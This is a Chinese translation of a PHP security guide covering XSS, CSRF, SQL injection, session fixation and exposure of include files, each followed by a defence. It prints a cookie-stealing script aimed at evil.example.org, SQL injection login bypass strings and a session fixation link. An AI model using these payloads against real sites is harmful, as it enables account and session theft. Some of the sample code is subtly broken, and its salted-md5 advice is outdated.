如果你希望只把上传的文件移到一个固定位置,你可以使用move_uploaded_file( ):
CODE:

<?php

  $old_filename = $_FILES['attachment']['tmp_name'];
  $new_filename = '/path/to/attachment.txt';

  if (move_uploaded_file($old_filename, $new_filename))
  {
    /* $old_filename is an uploaded file, and the move was successful. */
  }

  ?>
最后你可以用 filesize( ) 来校验文件的大小:
CODE:

  <?php

  $filename = $_FILES['attachment']['tmp_name'];

  if (is_uploaded_file($filename))
  {
    $size = filesize($filename);
  }

  ?>
这些安全措施的目的是加上一层额外的安全保护层。最佳的方法是永远尽可能少地去信任。
2.4. 跨站脚本攻击
  跨站脚本攻击是众所周知的攻击方式之一。所有平台上的Web应用都深受其扰,PHP应用也不例外。
  所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是Blog。事实上,大多数Web应用提供输入是出于更吸引人气的目的,但同时这也会把自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生了。
  以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用户进行提交:
CODE:

  <form action="comment.php" method="POST" />
  <p>Name: <input type="text" name="name" /><br />
  Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
  <input type="submit" value="Add Comment" /></p>
  </form>
程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用来输出一个评论($comment)及与之对应的发表人($name):
CODE:

  <?php

  echo "<p>$name writes:<br />";
  echo "<blockquote>$comment</blockquote></p>";

  ?>
这个流程对$comment及$name的值给予了充分的信任,想象一下它们中的一个的内容中包含如下代码:
CODE:

  <script>
  document.location =
    'http://evil.example.org/steal.php?cookies=' +
    document.cookie
  </script>
如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入Javascript代码无异。你的用户会在不知不觉中把他们的cookies(浏览网站的人)发送到evil.example.org,而接收程序(steal.php)可以通过$_GET['cookies']变量防问所有的cookies。
  这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做到如第一章所述的过滤输入及转义输出即可
  最起码你要用htmlentities( )对任何你要输出到客户端的数据进行转义。该函数可以把所有的特殊字符转换成HTML表示方式。所有会引起浏览器进行特殊处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。
  由此,用下面的代码来显示评论是更安全的:
CODE:

<?php

  $clean = array();
  $html = array();

  /* Filter Input ($name, $comment) */

  $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8');
  $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8');

  echo "<p>{$html['name']} writes:<br />";
  echo "<blockquote>{$html['comment']}</blockquote></p>";

  ?>

2.5. 跨站请求伪造
  跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意HTTP请求的一类攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。事实上,如果没有对跨站请求伪造攻击进行特意防范的话,你的应用很有可能是有漏洞的。

  请看下面一个简单的应用,它允许用户购买钢笔或铅笔。界面上包含下面的表单:
CODE:

  <form action="buy.php" method="POST">
  <p>
  Item:
  <select name="item">
    <option name="pen">pen</option>
    <option name="pencil">pencil</option>
  </select><br />
  Quantity: <input type="text" name="quantity" /><br />
  <input type="submit" value="Buy" />
  </p>
  </form>
一个攻击者会首先使用你的应用以收集一些基本信息。例如,攻击者首先访问表单并发现两个表单元素item及quantity,他也同时知道了item的值会是铅笔或是钢笔。

下面的buy.php程序处理表单的提交信息:
CODE:

  <?php

  session_start();
  $clean = array();

  if (isset($_REQUEST['item'] && isset($_REQUEST['quantity']))
  {
    /* Filter Input ($_REQUEST['item'], $_REQUEST['quantity']) */

    if (buy_item($clean['item'], $clean['quantity']))
    {
      echo '<p>Thanks for your purchase.</p>';
    }
    else
    {
      echo '<p>There was a problem with your order.</p>';
    }
  }

  ?>
攻击者会首先使用这个表单来观察它的动作。例如,在购买了一支铅笔后,攻击者知道了在购买成功后会出现感谢信息。注意到这一点后,攻击者会尝试通过访问下面的URL以用GET方式提交数据是否能达到同样的目的:

  http://store.example.org/buy.php?item=pen&amp;quantity=1

  如果能成功的话,攻击者现在就取得了当合法用户访问时,可以引发购买的URL格式。在这种情况下,进行跨站请求伪造攻击非常容易,因为攻击者只要引发受害者访问该URL即可。
  虽然有多种发起跨站请求伪造攻击的方式,但是使用嵌入资源如图片的方式是最普遍的。为了理解这个攻击的过程,首先有必要了解浏览器请求这些资源的方式。
  当你访问http://www.google.com (图 2-1),你的浏览器首先会请求这个URL所标识的资源。你可以通过查看该页的源文件(HTML)的方式来看到该请求的返回内容。在浏览器解析了返回内容后发现了Google的标志图片。这个图片是以HTML的img标签表示的,该标签的src属性表示了图片的URL。浏览器于是再发出对该图片的请求,以上这两次请求间的不同点只是URL的不同。

图 2-1. Google的首页

A CSRF attack can use an img tag to leverage this behavior. Consider visiting a web site with the following image identified in the source:
  根据上面的原理,跨站请求伪造攻击可以通过img标签来实现。考虑一下如果访问包括 下面的源代码的网页会发生什么情况:
  <img src="http://store.example.org/buy.php?item=pencil&quantity=50" />

  由于buy.php脚本使用$_REQUEST而不是$_POST,这样每一个只要是登录在store.example.org商店上的用户就会通过请求该URL购买50支铅笔。

  跨站请求伪造攻击的存在是不推荐使用$_REQUEST的原因之一。

完整的攻击过程见图2-2。

图2-2. 通过图片引发的跨站请求伪造攻击

  当请求一个图片时,某些浏览器会改变请求头部的Accept值以给图片类型以一个更高的优先权。需要采用保护措施以防止这种情况的发生。
  你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用POST方式而不是使用GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要求得方便与风险之间的平衡)。
  任何需要进行操作的表单都要使用POST方式。在RFC 2616(HTTP/1.1传送协议,译注)的9.1.1小节中有一段描述:
  “特别需要指出的是,习惯上GET与HEAD方式不应该用于引发一个操作,而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊的方式,如POST,PUT或DELETE方式来使用户意识到正在请求进行的操作可能是不安全的。”
  最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交的数据看起来象是你表单的提交结果,但如果用户并不是在最近调用的表单,这就比较可疑了。请看下面对前例应用更改后的代码:
CODE:

  <?php

  session_start();
  $token = md5(uniqid(rand(), TRUE));
  $_SESSION['token'] = $token;
  $_SESSION['token_time'] = time();

  ?>

  <form action="buy.php" method="POST">
  <input type="hidden" name="token" value="<?php echo $token; ?>" />
  <p>
  Item:
  <select name="item">
    <option name="pen">pen</option>
    <option name="pencil">pencil</option>
  </select><br />
  Quantity: <input type="text" name="quantity" /><br />
  <input type="submit" value="Buy" />
  </p>
  </form>
通过这些简单的修改,一个跨站请求伪造攻击就必须包括一个合法的验证码以完全模仿表单提交。由于验证码的保存在用户的session中的,攻击者必须对每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何攻击,它要求攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一个用户的请求是无效的。

  该验证码可以简单地通过一个条件表达式来进行检查:
CODE:

  <?php

  if (isset($_SESSION['token']) &&
      $_POST['token'] == $_SESSION['token'])
  {
    /* Valid Token */
  }

  ?>
你还能对验证码加上一个有效时间限制,如5分钟:
CODE:

<?php

  $token_age = time() - $_SESSION['token_time'];

  if ($token_age <= 300)
  {
    /* Less than five minutes has passed. */
  }

  ?>
通过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造攻击的风险。可以在任何需要执行操作的任何表单中使用这个流程。
  尽管我使用img标签描述了攻击方法,但跨站请求伪造攻击只是一个总称,它是指所有攻击者通过伪造他人的HTTP请求进行攻击的类型。已知的攻击方法同时包括对GET和POST的攻击,所以不要认为只要严格地只使用POST方式就行了。

2.6. 欺骗表单提交
  制造一个欺骗表单几乎与假造一个URL一样简单。毕竟,表单的提交只是浏览器发出的一个HTTP请求而已。请求的部分格式取决于表单,某些请求中的数据来自于用户。
  大多数表单用一个相对URL地址来指定action属性:
  <form action="process.php" method="POST">

  当表单提交时,浏览器会请求action中指定的URL,同时它使用当前的URL地址来定位相对URL。例如,如果之前的表单是对http://example.org/path/to/form.php请求的回应所产生的,则在用户提交表单后会请求URL地址http://example.org/path/to/process.php

  知道了这一点,很容易就能想到你可以指定一个绝对地址,这样表单就可以放在任何地方了:
  <form action="http://example.org/path/to/process.php" method="POST">

  这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生的提交是相同的。意识到这一点,攻击者可以通过查看页面源文件并保存在他的服务器上,同时将action更改为绝对URL地址。通过使用这些手段,攻击者可以任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段的值,或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器提交任何数据,同时由于这个过程非常简便易行,攻击者无需是一个专家即可做到。

  欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过这你不需要担心。一旦你正确地过滤了输入,用户就必须要遵守你的规则,这与他们如何提交无关。

  如果你试验这个技巧时,你可能会注意到大多数浏览器会在HTTP头部包括一个Referer信息以标识前一个页面的地址。在本例中,Referer的值是表单的URL地址。请不要被它所迷惑而用它来区分你的表单提交还是欺骗表单提交。在下一节的演示中,可以看到HTTP头部的也是非常容易假造的,而使用Referer来判定的方式又是众所周知的。
第三章 数据库及SQL
  PHP的作用常常是沟通各种数据源及用户的桥梁。事实上,有些人认为PHP更像是一个平台而不是一个编程语言。基于这些原因,PHP频繁用于与数据库的交流。
  PHP可以很好的胜任这个任务,其原因特别是由于它能与很多种数据库连接。下面列举了PHP支持的小部分数据库:
DB2
ODBC
SQLite
InterBase
Oracle
Sybase
MySQL
PostgreSQL
DBM

  与任何的远程数据存储方式相同,数据库本身也存在着一些风险。尽管数据库安全不是本书讨论的问题,但数据库安全是需要时刻注意的,特别是关于如何对待从数据库读取作为输入的数据的问题。
  正如第一章所讨论的,所有输入必需要进行过滤,同时所有的输出必须要转义。当处理数据库时,意味着所有来自数据库的数据要过滤,所有写入数据库的数据要进行转义。

小提示
  常犯的错误是忘记了SELECT语句本身是向数据库传送的数据。尽管该语句的目的是取得数据,但语句本身则是输出。

  很多PHP开发人员不会去过滤来自数据库的数据,他们认为数据库内保存的是已过滤的数据。虽然这种做法的安全风险是很小的,但是这不是最好的做法,同时我也不推荐这样做。这种做法是基于对数据库安全的绝对信任,但同时违反了深度防范的原则。如果恶意数据由于某些原因被注入了数据库,如果你有过滤机制的话,就能发现并抓住它。请记住,冗余的安全措施是有价值的,这就是一个很好的例子。
  本章包括了其它几个需要关心的主题,包括访问权限暴露及SQL注入。SQL注入是需要特别关注的,这是因为在流行的PHP应用中频繁发现了SQL注入漏洞。

3.1. 访问权限暴露
  数据库使用中需要关注的主要问题之一是访问权限即用户名及密码的暴露。在编程中为了方便,一般都会用一个db.inc文件保存,如:
CODE:

<?php

$db_user = 'myuser';
$db_pass = 'mypass';
$db_host = '127.0.0.1';

$db = mysql_connect($db_host, $db_user, $db_pass);

?>
用户名及密码都是敏感数据,是需要特别注意的。他们被写在源码中造成了风险,但这是一个无法避免的问题。如果不这么做,你的数据库就无法设置用户名和密码进行保护了。
  如果你读过http.conf(Apache的配置文件)的默认版本的话,你会发现默认的文件类型是text/plain(普通文本)。这样,如果db.inc这样的文件被保存在网站根目录下时,就引发了风险。所有位于网站根目录下的资源都有相应的URL,由于Apache没有定义对.inc后缀的文件的处理方式类型,在对这一类文件进行访问时,会以普通文本的类型进行返回(默认类型),这样访问权限就被暴露在客户的浏览器上了。
  为了进一步说明这个风险,考虑一下一个以/www为网站根目录的服务器,如果db.inc被保存在/www/inc,它有了一个自已的URLhttp://example.org/inc/db.inc(假设example.org是主机域名)。通过访问该URL就可以看到db.inc以文本方式显示的源文件。无论你把该文件保存在/www哪个子目录下,都无法避免访问权限暴露的风险。
  对这个问题最好的解决方案是把它保存在网站根目录以外的包含目录中。你无需为了达到包含它们的目的而把它们放至在文件系统中的特定位置,所有只要做的只是保证Web服务器对其有读取权限。因此,把它们放在网站根目录下是没有必要的风险,只要包含文件还位于网站根目录下,任何减少风险的努力都是徒劳的。事实上,你只要把必须要通过URL访问的资源放置在网站根目录下即可。毕竟这是一个公共的目录。


  前面的话题对于SQLite数据库也有用。把数据库保存在当前目录下是非常方便的,因为你只要调用文件名而无需指定路径。但是,把数据库保存在网站根目录下就代表着不必要的风险。如果你没有采用安全措施防止直接访问的话,你的数据库就危险了。
如果由于外部因素导致无法做到把所有包含文件放在网站根目录之外,你可以在Apache配置成拒绝对.inc资源的请求。
CODE:

<Files ~ "\.inc$">
  Order allow,deny
  Deny from all
</Files>
译注:如果只是因为要举个例子而这么写的话,可以理解,毕竟大家学到了一些手段,但这个例子未免生硬了一点。实际上只要把该文件更名为db.inc.php就可以了。就好象房子破了个洞而不去修补,却在外面去造一个更大的房子把破房子套起来一样。

  在第8章中你还可以看到另外一种防止数据库访问权限暴露的方法,该方法对于共享服务器环境(在该环境下尽管文件位于网站根目录之外,但依然存在暴露的风险)非常有效。

3.2. SQL 注入
  SQL 注入是PHP应用中最常见的漏洞之一。事实上令人惊奇的是,开发者要同时犯两个错误才会引发一个SQL注入漏洞,一个是没有对输入的数据进行过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。
  对于攻击者来说,进行SQL注入攻击需要思考和试验,对数据库方案进行有根有据的推理非常有必要(当然假设攻击者看不到你的源程序和数据库方案),考虑以下简单的登录表单:
CODE:

<form action="/login.php" method="OST">
<p>Username: <input type="text" name="username" /></p>
<p>assword: <input type="password" name="password" /></p>
<p><input type="submit" value="Log In" /></p>
</form>
图 3-1 给出了该表单在浏览器中的显示。

  作为一个攻击者,他会从推测验证用户名和密码的查询语句开始。通过查看源文件,他就能开始猜测你的习惯。

图 3-1. 登录表单在浏览器中的显示

命名习惯。通常会假设你表单中的字段名为与数据表中的字段名相同。当然,确保它们不同未必是一个可靠的安全措施。
  第一次猜测,一般会使用下面例子中的查询:
CODE:

<?php

$password_hash = md5($_POST['password']);

$sql = "SELECT count(*)
      FROM   users
      WHERE  username = '{$_POST['username']}'
      AND    password = '$password_hash'";

?>
使用用户密码的MD5值原来是一个通行的做法,但现在并不是特别安全了。最近的研究表明MD5算法有缺陷,而且大量MD5数据库降低了MD5反向破解的难度。请访问http://md5.rednoize.com/ 查看演示。

  译注:原文如此,山东大学教授王小云的研究表明可以很快的找到MD5的“碰撞”,就是可以产生相同的MD5值的不同两个文件和字串。MD5是信息摘要算法,而不是加密算法,反向破解也就无从谈起了。不过根据这个成果,在上面的特例中,直接使用md5是危险的。

  最好的保护方法是在密码上附加一个你自己定义的字符串,例如:
CODE:

<?php

$salt = 'SHIFLETT';
$password_hash = md5($salt . md5($_POST['password'] . $salt));

?>
    当然,攻击者未必在第一次就能猜中,他们常常还需要做一些试验。有一个比较好的试验方式是把单引号作为用户名录入,原因是这样可能会暴露一些重要信息。有很多开发人员在Mysql语句执行出错时会调用函数mysql_error()来报告错误。见下面的例子:
CODE:

<?php

mysql_query($sql) or exit(mysql_error());

?>
    虽然该方法在开发中十分有用,但它能向攻击者暴露重要信息。如果攻击者把单引号做为用户名,mypass做为密码,查询语句就会变成:
CODE:

<?php

$sql = "SELECT *
      FROM   users
      WHERE  username = '''
      AND    password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>
当该语句发送到MySQL后,系统就会显示如下错误信息:

You have an error in your SQL syntax. Check the manual that corresponds to your
MySQL server version for the right syntax to use near 'WHERE username = ''' AND
password = 'a029d0df84eb55

  不费吹灰之力,攻击者已经知道了两个字段名(username和password)以及他们出现在查询中的顺序。除此以外,攻击者还知道了数据没有正确进行过滤(程序没有提示非法用户名)和转义(出现了数据库错误),同时整个WHERE条件的格式也暴露了,这样,攻击者就可以尝试操纵符合查询的记录了。
  在这一点上,攻击者有很多选择。一是尝试填入一个特殊的用户名,以使查询无论用户名密码是否符合,都能得到匹配:

myuser' or 'foo' = 'foo' --

  假定将mypass作为密码,整个查询就会变成:
CODE:

<?php

$sql = "SELECT *
      FROM   users
      WHERE  username = 'myuser' or 'foo' = 'foo' --
      AND    password = 'a029d0df84eb5549c641e04a9ef389e5'";

?>
由于中间插入了一个SQL注释标记,所以查询语句会在此中断。这就允许了一个攻击者在不知道任何合法用户名和密码的情况下登录。

  如果知道合法的用户名,攻击者就可以该用户(如chris)身份登录:

chris' --

  只要chris是合法的用户名,攻击者就可以控制该帐号。原因是查询变成了下面的样子:
CODE:

<?php
$sql = "SELECT *
      FROM   users
      WHERE  username = 'chris' --
      AND    password = 'a029d0df84eb5549c641e04a9ef389e5'";
?>
幸运的是,SQL注入是很容易避免的。正如第一章所提及的,你必须坚持过滤输入和转义输出。
  虽然两个步骤都不能省略,但只要实现其中的一个就能消除大多数的SQL注入风险。如果你只是过滤输入而没有转义输出,你很可能会遇到数据库错误(合法的数据也可能影响SQL查询的正确格式),但这也不可靠,合法的数据还可能改变SQL语句的行为。另一方面,如果你转义了输出,而没有过滤输入,就能保证数据不会影响SQL语句的格式,同时也防止了多种常见SQL注入攻击的方法。
  当然,还是要坚持同时使用这两个步骤。过滤输入的方式完全取决于输入数据的类型(见第一章的示例),但转义用于向数据库发送的输出数据只要使用同一个函数即可。对于MySQL用户,可以使用函数mysql_real_escape_string( ):
CODE:

<?php

$clean = array();
$mysql = array();

$clean['last_name'] = "O'Reilly";
$mysql['last_name'] = mysql_real_escape_string($clean['last_name']);

$sql = "INSERT
      INTO   user (last_name)
      VALUES ('{$mysql['last_name']}')";

?>
尽量使用为你的数据库设计的转义函数。如果没有,使用函数addslashes( )是最终的比较好的方法。

  当所有用于建立一个SQL语句的数据被正确过滤和转义时,实际上也就避免了SQL注入的风险。
CODE:

如果你正在使用支持参数化查询语句和占位符的数据库操作类(如PEAR:B, PDO等),你就会多得到一层保护。见下面的使用PEAR:B的例子:

CODE:

<?php
$sql = 'INSERT
      INTO   user (last_name)
      VALUES (?)';
$dbh->query($sql, array($clean['last_name']));
?>

CODE:

由于在上例中数据不能直接影响查询语句的格式,SQL注入的风险就降低了。PEAR:B会自动根据你的数据库的要求进行转义,所以你只需要过滤输出即可。
如果你正在使用参数化查询语句,输入的内容就只会作为数据来处理。这样就没有必要进行转义了,尽管你可能认为这是必要的一步(如果你希望坚持转义输出习惯的话)。实际上,这时是否转义基本上不会产生影响,因为这时没有特殊字符需要转换。在防止SQL注入这一点上,参数化查询语句为你的程序提供了强大的保护。

  译注:关于SQL注入,不得不说的是现在大多虚拟主机都会把magic_quotes_gpc选项打开,在这种情况下所有的客户端GET和POST的数据都会自动进行addslashes处理,所以此时对字符串值的SQL注入是不可行的,但要防止对数字值的SQL注入,如用intval()等函数进行处理。但如果你编写的是通用软件,则需要读取服务器的magic_quotes_gpc后进行相应处理。

3.3. 数据的暴露
  关于数据库,另外需要关心的一点是敏感数据的暴露。不管你是否保存了信用卡号,社会保险号,或其它数据,你还是希望确认数据库是安全的。

虽然数据库安全已经超出了本书所讨论的范围(也不是PHP开发者要负责的),但是你可以加密最敏感的数据,这样只要密钥不泄露,数据库的安全问题就不会造成灾难性的后果。(关于加密的详细介绍参见本书附录C)
第四章 会话与 Cookies

本章主要讨论会话和有状态的Web应用的内在风险。你会首先学习状态、cookies、与会话;然后我会讨论关于cookie盗窃、会话数据暴露、会话固定、及会话劫持的问题及防范它们的方法。
  正如大家知道的,HTTP是一种无状态的协议。这说明了两个HTTP请求之间缺乏联系。由于协议中未提供任何让客户端标识自己的方法,因此服务器也就无法区分客户端。
  虽然HTTP无状态的特性还是有一些好处,毕竟维护状态是比较麻烦的,但是它向需要开发有状态的Web应用的开发人员提出了前所未有的挑战。由于无法标识客户端,就不可能确认用户是否已登录,在购物车中加入商品,或者是需要注册。
  一个最初由网景公司构思的超强解决方案诞生了,它就是被命名为cookies的一种状态管理机制。Cookies是对HTTP协议的扩充。更确切地说,它们由两个HTTP头部组成:Set-Cookie响应头部和Cookie请求头部。
  当客户端发出对一个特定URL的请求时,服务器会在响应时选择包含一个Set-Cookie头部。它要求客户端在下面的请求中包含一个相就的Cookie头部。图4-1说明了这个基本的交互过程。

图4-1. 两个HTTP事务间Cookie的完整交互过程


  如果你根据这个基本概念在每一个请求中包含同一个唯一标识码(在cookie头部中),你就能唯一标识客户端从而把它发出的所有请求联系起来。这就是状态所要求的,同时也是这一机制的主要应用。

小提示
迄今为止,最好的cookies使用指南依然是网景公司提供的规范,网址是:http://wp.netscape.com/newsref/std/cookie_spec.html 。它是最类似和接近于全行业支持的标准。

  基于会话管理的概念,可以通过管理每一个客户端的各自数据来管理状态。数据被存储在会话存储区中,通过每一次请求进行更新。由于会话记录在存储时有唯一的标识,因此它通常被称为会话标识。

  如果你使用PHP内建的会话机制,所有的这些复杂过程都会由PHP为你处理。当   你调用函数session_start()时,PHP首先要确认在本次请求中是否包含会话标识。如果有的话,PHP就会读取该会话数据并通过$_SESSION超级公用数组提供给你。如果不存在,PHP会生成一个会话标识并在会话存储区建立一个新记录。PHP还会处理会话标识的传递并在每一个请求时更新会话存储区。图4-2演示了这个过程。

  虽然这很简便有效,但最重要的还是要意识到这并不是一个完整的解决方案,因为在PHP的会话机制中没有内建的安全处理。除此之外,由于会话标识是完全随机产生的,因此是不可预测的。你必须自行建立安全机制以防止所有其它的会话攻击手段。在本章中,我会提出一些问题,并提供相应的解决方案。

4.1. Cookie 盗窃
  因使用Cookie而产生的一个风险是用户的cookie会被攻击者所盗窃。如果会话标识保存在cookie中,cookie的暴露就是一个严重的风险,因为它能导致会话劫持。

图4-2. PHP为你处理相关会话管理的复杂过程
最常见的cookie暴露原因是浏览器漏洞和跨站脚本攻击(见第2章)。虽然现在并没有已知的该类浏览器漏洞,但是以往出现过几例,其中最有名的一例同时发生在IE浏览器的4.0,5.0,5.5及6.0版本(这些漏洞都有相应补丁提供)。

虽然浏览器漏洞的确不是web开发人员的错,但是你可以采取步骤以减轻它对用户的威胁。在某些情况下,你可能通过使用一些安全措施有效地消除风险。至少你可以告诉和指导用户打上修正漏洞的安全补丁。
  基于以上原因,知道新的安全漏洞是很有必要的。你可以跟踪下面提供的几个网站和邮件列表,同时有很多服务提供了RSS推送,因此只要订阅RSS即可以得到新安全漏洞的警告。SecurityFocus网站维护着一系列软件漏洞的列表(http://online.securityfocus.com/vulnerabilities),你可以通过开发商、主题和版本进行检索。PHP安全协会也维护着SecurityFocus的所有最新通知。(http://phpsec.org/projects/vulnerabilities/securityfocus.html
  跨站脚本攻击是攻击者盗窃cookie的更为常见的手段。其中之一已有第二章中描述。由于客户端脚本能访问cookies,攻击者所要的送是写一段传送数据的脚本即可。唯一能限制这种情况发生的因素只有攻击者的创造力了。
  防止cookie盗窃的手段是通过防止跨站脚本漏洞和检测导致cookie暴露的浏览器漏洞相结合。由于后者非常少见(此类漏洞将来也会比较罕见),所以它并不是需要关心的首要问题,但还是最好要紧记。

4.2. 会话数据暴露
  会话数据常会包含一些个人信息和其它敏感数据。基于这个原因,会话数据的暴露是被普遍关心的问题。一般来说,暴露的范围不会很大,因为会话数据是保存在服务器环境中的,而不是在数据库或文件系统中。因此,会话数据自然不会公开暴露。
  使用SSL是一种特别有效的手段,它可以使数据在服务器和客户端之间传送时暴露的可能性降到最低。这对于传送敏感数据的应用来说非常重要。SSL在HTTP之上提供了一个保护层,以使所有在HTTP请求和应答中的数据都得到了保护。
  如果你关心的是会话数据保存区本身的安全,你可以对会话数据进行加密,这样没有正确的密钥就无法读取它的内容。这在PHP中非常容易做到,你只要使用session_set_save_handler( )并写上你自己的session加密存储和解密读取的处理函数即可。关于加密会话数据保存区的问题,参见附录C。

4.3. 会话固定
  关于会话,需要关注的主要问题是会话标识的保密性问题。如果它是保密的,就不会存在会话劫持的风险了。通过一个合法的会话标识,一个攻击者可以非常成功地冒充成为你的某一个用户。

  一个攻击者可以通过三种方法来取得合法的会话标识:

l        猜测
l        捕获
l        固定

  PHP生成的是随机性很强的会话标识,所以被猜测的风险是不存在的。常见的是通过捕获网络通信数据以得到会话标识。为了避免会话标识被捕获的风险,可以使用SSL,同时还要对浏览器漏洞及时修补。

小提示
  要记住浏览器会根据请求中的Set-cookie头部中的要求对之后所有的请求中都包含一个相应的Cookie头部。最常见的是,会话标识会无谓的在对一些嵌入资源如图片的请求中被暴露。例如,请求一个包含10个图片的网页时,浏览器会发出11个带有会话标识的请求,但只有一个是有必要带有标识的。为了防止这种无谓的暴露,你可以考虑把所有的嵌入资源放在有另外一个域名的服务器上。

  会话固定是一种诱骗受害者使用攻击者指定的会话标识的攻击手段。这是攻击者获取合法会话标识的最简单的方法。
  在这个最简单的例子中,使用了一个链接进行会话固定攻击:

  <a href="http://example.org/index.php?PHPSESSID=1234">Click Here</a>

另外一个方法是使用一个协议级别的转向语句:

  <?php

  header('Location: http://example.org/index.php?PHPSESSID=1234');

  ?>

  这也可以通过Refresh头部来进行,产生该头部的方法是通过真正的HTTP头部或meta标签的http-equiv属性指定。攻击者的目标是让用户访问包含有攻击者指定的会话标识的URL。这是一个基本的攻击的第一步,完整的攻击过程见图4-3所示。

Figure 4-3. 使用攻击者指定的会话标识进行的会话固定攻击


如果成功了,攻击者就能绕过抓取或猜测合法会话标识的需要,这就使发起更多和更危险的攻击成为可能。
  为了更好地使你理解这一步骤,最好的办法是你自己尝试一下。首先建立一个名为fixation.php的脚本:

  <?php

  session_start();
  $_SESSION['username'] = 'chris';

  ?>

  确认你没有保存着任何当前服务器的cookies,或通过清除所有的cookies以确保这一点。通过包含PHPSESSID的URL访问fixation.php:

  http://example.org/fixation.php?PHPSESSID=1234

  它建立了一个值为chris的会话变量username。在检查会话存储区后发现1234成为了该数据的会话标识:

  $ cat /tmp/sess_1234
  username|s:5:"chris";

  建立第二段脚本test.php,它在$_SESSION[‘username’]        存在的情况下即输入出该值:
  <?php

  session_start();

  if (isset($_SESSION['username']))
  {
    echo $_SESSION['username'];
  }

  ?>


  在另外一台计算机上或者在另一个浏览器中访问下面的URL,同时该URL指定了相同的会话标识:

  http://example.org/test.php?PHPSESSID=1234

  这使你可以在另一台计算机上或浏览器中(模仿攻击者所在位置)恢复前面在fixation.php中建立的会话。这样,你就作为一个攻击者成功地劫持了一个会话。
  很明显,我们不希望这种情况发生。因为通过上面的方法,攻击者会提供一个到你的应用的链接,只要通过这个链接对你的网站进行访问的用户都会使用攻击者所指定的会话标识。
  产生这个问题的一个原因是会话是由URL中的会话标识所建立的。当没有指定会话标识时,PHP就会自动产生一个。这就为攻击者大开了方便之门。幸运的是,我们以可以使用session_regenerate_id( )函数来防止这种情况的发生。

  <?php

  session_start();

  if (!isset($_SESSION['initiated']))
  {
    session_regenerate_id();
    $_SESSION['initiated'] = TRUE;
  }

  ?>

  这就保证了在会话初始化时能有一个全新的会话标识。可是,这并不是防止会话固定攻击的有效解决方案。攻击者能简单地通过访问你的网站,确定PHP给出的会话标识,并且在会话固定攻击中使用该会话标识。
  这确实使攻击者没有机会去指定一个简单的会话标识,如1234,但攻击者依然可以通过检查cookie或URL(依赖于标识的传递方式)得到PHP指定的会话标识。该流程如图4-4所示。
  该图说明了会话的这个弱点,同时它可以帮助你理解该问题涉及的范围。会话固定只是一个基础,攻击的目的是要取得一个能用来劫持会话的标识。这通常用于这样的一个系统,在这个系统中,攻击者能合法取得较低的权限(该权限级别只要能登录即可),这样劫持一个具有较高权限的会话是非常有用的。
  如果会话标识在权限等级有改变时重新生成,就可以在事实上避开会话固定的风险:

  <?php

  $_SESSION['logged_in'] = FALSE;

  if (check_login())
  {
    session_regenerate_id();
    $_SESSION['logged_in'] = TRUE;
  }

  ?>

Figure 4-4. 通过首先初始化会话进行会话固定攻击



小提示

  我不推荐在每一页上重新生成会话标识。虽然这看起来确实是一个安全的方法。但与在权限等级变化时重新生成会话标识相比,并没有提供更多的保护手段。更重要的是,相反地它还会对你的合法用户产生影响,特别是会话标识通过URL传递时尤甚。用户可能会使用浏览器的访问历史机制去访问以前访问的页面,这样该页上的链接就会指向一个不再存在的会话标识。

  如果你只在权限等级变化时重新生成会话标识,同样的情况也有可以发生,但是用户在访问权限变更前的页面时,不会因为会话丢失而奇怪,同时,这种情况也不常见。
第五章 包含随着PHP项目的增大,软件设计与组织在代码的可维护性上起着越来越重要的作用。尽管对于什么是最好的编程方式众说纷纭(关于面向对象优点的争论常常发生),但基本上每个开发者会理解和欣赏模块化设计的价值。
  本章说明了使用包含时会面临的安全问题。脚本中include或require的文件把你的应用分成了逻辑上分离的两部分。我还会着重强调和纠正一些常见的误解,特别是有关于如何编程的问题。

小提示
  当使用include和require时,应该使用include_once与require_once来包含。


5.1. 源码暴露
  关于包含的一个重要问题是源代码的暴露。产生这个问题主要原因是下面的常见情况:

l        对包含文件使用.inc的扩展名
l        包含文件保存在网站主目录下
l        Apache未设定.inc文件的类型
l        Apache的默认文件类型是text/plain

  上面情况造成了可以通过URL直接访问包含文件。更糟的是,它们会被作为普通文本处理而不会被PHP所解析,这样你的源代码就会显示在用户的浏览器上(见图5-1)。

  图 5-1. 源代码在服务器中的暴露

  避免这种情况很容易。只能重组你的应用,把所有的包含文件放在网站主目录之外就可以了,最好的方法是只把需要公开发布的文件放置在网站主目录下。
  虽然这听起来有些疯狂,很多情形下能导致源码的暴露。我曾经看到过Apache的配置文件被误写(并且在下次启动前未发现),没有经验的系统管理员升级了Apache但忘了加入PHP支持,还有一大堆情形能导致源码暴露。
  通过在网站主目录外保存尽可能多的PHP代码,你可以防止源代码的暴露。至少,把所有的包含文件保存在网站主目录外是一个最好的办法。
